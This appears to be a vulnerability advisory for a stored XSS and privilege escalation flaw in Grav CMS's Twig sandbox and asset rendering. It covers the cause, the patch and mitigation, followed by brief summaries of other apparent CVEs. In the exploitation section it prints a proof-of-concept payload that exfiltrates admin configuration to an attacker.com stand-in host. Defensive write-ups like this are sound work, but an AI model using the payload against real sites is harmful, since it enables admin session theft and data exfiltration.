Aug 21, 2026·6 min read·15 visits
A privilege escalation vulnerability in Grav CMS allows page editors to execute arbitrary client-side script code in administrative contexts. By combining a permissive Twig sandbox allowlist with attribute breakout in asset rendering, attackers can steal JWT tokens or create rogue administrative accounts.
An overly permissive default configuration in the Grav CMS Twig sandbox combined with a lack of neutralization of double-quote characters in the Asset rendering engine allows low-privileged page editors to inject malicious JavaScript into administrative contexts. This leads to a stored cross-site scripting (XSS) condition that compromises the sessions of super-administrators, facilitating complete privilege escalation.
Grav CMS is a flat-file content management system that employs a Twig-based template engine to parse page content. To ensure that content editors with draft or page editing capabilities cannot run arbitrary server-side code or access restricted system configurations, Grav routes template rendering through a Twig sandbox. This sandbox restricts the execution of dangerous classes, methods, and properties.
However, a design flaw exists in the default sandbox configuration. The sandbox allowlisted execution privileges on the Grav\Common\Assets class, specifically allowing page editors to invoke the addCss and addJs methods. These methods add resources dynamically to the global queue before rendering the final HTML page.
Because the Twig sandbox only restricted the invocation of methods but did not validate the contents of the arguments passed, page editors could supply arbitrary URLs containing payload attributes. Because these registrations mutate the global state of the shared asset service, they bypass safe HTML parsing filters executed during the page-save phase, leading directly to execution contexts at rendering time.
The underlying security issue is caused by two architectural flaws acting in concert. The first flaw is a permissive configuration setting located in the sandbox initialization file system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php. The system configuration default allowlisted the methods __tostring, addcss, and addjs on the Grav\Common\Assets class.
This configuration allowed any page editor with permissions to write or modify markdown pages containing Twig blocks to invoke the asset queuing system. The second flaw is located within the core asset compilation engine. When Grav constructs the HTML output for queued assets, it performs string concatenation rather than utilizing a programmatic DOM or structured attribute-binding API.
Specifically, when rendering a JavaScript asset, the engine wraps the supplied URL string in double-quote characters. If an attacker injects a double-quote character inside the URL string, they can close the src attribute context prematurely. The browser interprets any subsequent strings as independent, active attributes on the <script> tag, such as event handlers (e.g., onload or onerror).
To understand the vulnerability, consider the original asset generation mechanism in system/src/Grav/Common/Assets/Js.php prior to version 2.0.20:
// Vulnerable render mechanism in Js.php
return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . $this->integrityHash($this->asset) . "></script>\n";Because $this->asset is injected verbatim into the source string, any user-supplied double-quote character causes an early termination of the src attribute. This permits the insertion of malicious payloads.
The official patch in commit a4e8c4b748eb338ee7ab1dd26e7620a93bade047 resolves the bug at both points of failure. In SandboxDefaults.php, the permissive methods were removed:
- ['class' => 'Grav\\Common\\Assets', 'methods' => '__tostring, addcss, addjs'],
+ // addcss/addjs are deliberately NOT allowlisted: the sandbox arbitrates
+ // the call, not its downstream effect. Both mutate the shared Assets
+ // service and the theme then emits the registration as a <script src>/
+ // <link href> in the page head, which the save-time XSS scan cannot see.
+ // A site that truly needs them can re-add via allowed_methods.
+ ['class' => 'Grav\\Common\\Assets', 'methods' => '__tostring'],Additionally, a new neutralization sink was introduced within the shared utility traits (system/src/Grav/Common/Assets/Traits/AssetUtilsTrait.php) to sanitize character strings:
/**
* Neutralise the attribute-breakout characters in an asset URL.
*/
protected function escapeAssetUrl($url)
{
return str_replace(
['"', "'", '<', '>'],
['"', ''', '<', '>'],
(string) $url
);
}All subsequent asset render pipelines were updated to pass $this->asset through escapeAssetUrl() to ensure that the attribute context cannot be broken.
To execute this attack, an attacker requires a standard user account with page editing permissions. First, the attacker creates a new page or edits an existing one, ensuring that Twig processing is explicitly enabled in the frontmatter configuration (process: twig: true).
Second, the attacker inputs a Twig expression that calls the asset management object with a crafted URL. This URL is structured to close the src attribute and append a malicious payload inside an active handler:
{{ assets.addJs('https://attacker.com/malicious.js" onload="fetch(\'/admin/config\').then(r=>r.text()).then(d=>fetch(\'https://attacker.com/exfil?data=\' + btoa(d)))') }}When a super-administrator previews this page inside the administrator portal, the page is rendered within an iframe sharing the administrative panel's origin. The application processes the Twig call and renders the following HTML tag inside the document head:
<script src="https://attacker.com/malicious.js" onload="fetch('/admin/config').then(r=>r.text()).then(d=>fetch('https://attacker.com/exfil?data=' + btoa(d)))" ...></script>When the administrator's browser parses this script tag, it triggers the inline onload event handler. The execution of this script occurs within the authenticated session context of the administrator, allowing the attacker to access local storage, steal active JSON Web Tokens (JWTs), or perform privileged background requests.
The impact of this vulnerability is critical. Although it requires standard editor authentication to inject the payload, it changes the execution scope (S:C) and compromises administrative interfaces. Because Grav CMS displays page previews directly within the dashboard to allow administrators to review content changes, the attack executes transparently during regular operations.
Once the arbitrary script executes under the context of an administrator, the attacker can hijack the administrative session. This leads to complete access to administrative APIs, including the ability to read system configuration parameters, access database settings, exfiltrate sensitive files, or create additional administrative users.
In scenarios where the system configuration allows system commands or shell execution via plugin panels, this vulnerability can be leveraged as an initial stage to achieve remote code execution (RCE) on the underlying server. No specific non-default configuration is required to render the application vulnerable.
Remediation requires updating the core installation of Grav CMS to version 2.0.20 or later. This release updates the default sandbox configurations and applies strict asset attribute escaping.
To identify potential exploitation attempts, administrators should audit existing markdown content files (user/pages) for unauthorized or suspicious Twig syntax utilizing asset management arrays. Look for direct references to the following structures:
assets.addJsassets.addCssassets.addIf upgrading immediately is not possible, the threat can be mitigated by disabling these methods manually. Open system/config/security.yaml (or the local override user/config/security.yaml) and verify that the security.twig_sandbox.allowed_methods directive does not allow addjs, addcss, or other asset modification calls for the Grav\Common\Assets class.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Grav CMS Trilby Media | < 2.0.20 | 2.0.20 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (AV:N) |
| CVSS v3.1 Score | 9.0 (Critical) |
| Exploit Maturity | PoC (Proof of Concept) |
| KEV Status | Not Listed |
| Affected Versions | < 2.0.20 |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
CVE-2026-109619 (PHP2Shell) is a critical Use-After-Free vulnerability in the core PHP engine caused by improper global state cleanup during out-of-memory exception handling across persistent worker requests.
In Python virtualenv prior to version 21.14.9, activation script generators and configuration writers use Path.exists() before writing files. Because Path.exists() resolves symbolic links, it returns False for dangling symlinks. Consequently, virtualenv skips unlinking pre-planted symbolic links or hard links, writing data directly to target locations outside the intended virtual environment directory.
A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.
An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.
ASP.NET Core contains a thread deadlock vulnerability (CWE-833) that allows an unauthenticated remote attacker to cause a denial of service over the network by exhausting server thread pool resources.
CVE-2026-70035 is a high-severity Remote Code Execution (RCE) vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio caused by improper handling during the deserialization of untrusted data (CWE-502). An unauthenticated attacker can execute arbitrary code within the context of the affected process by delivering a crafted serialized payload.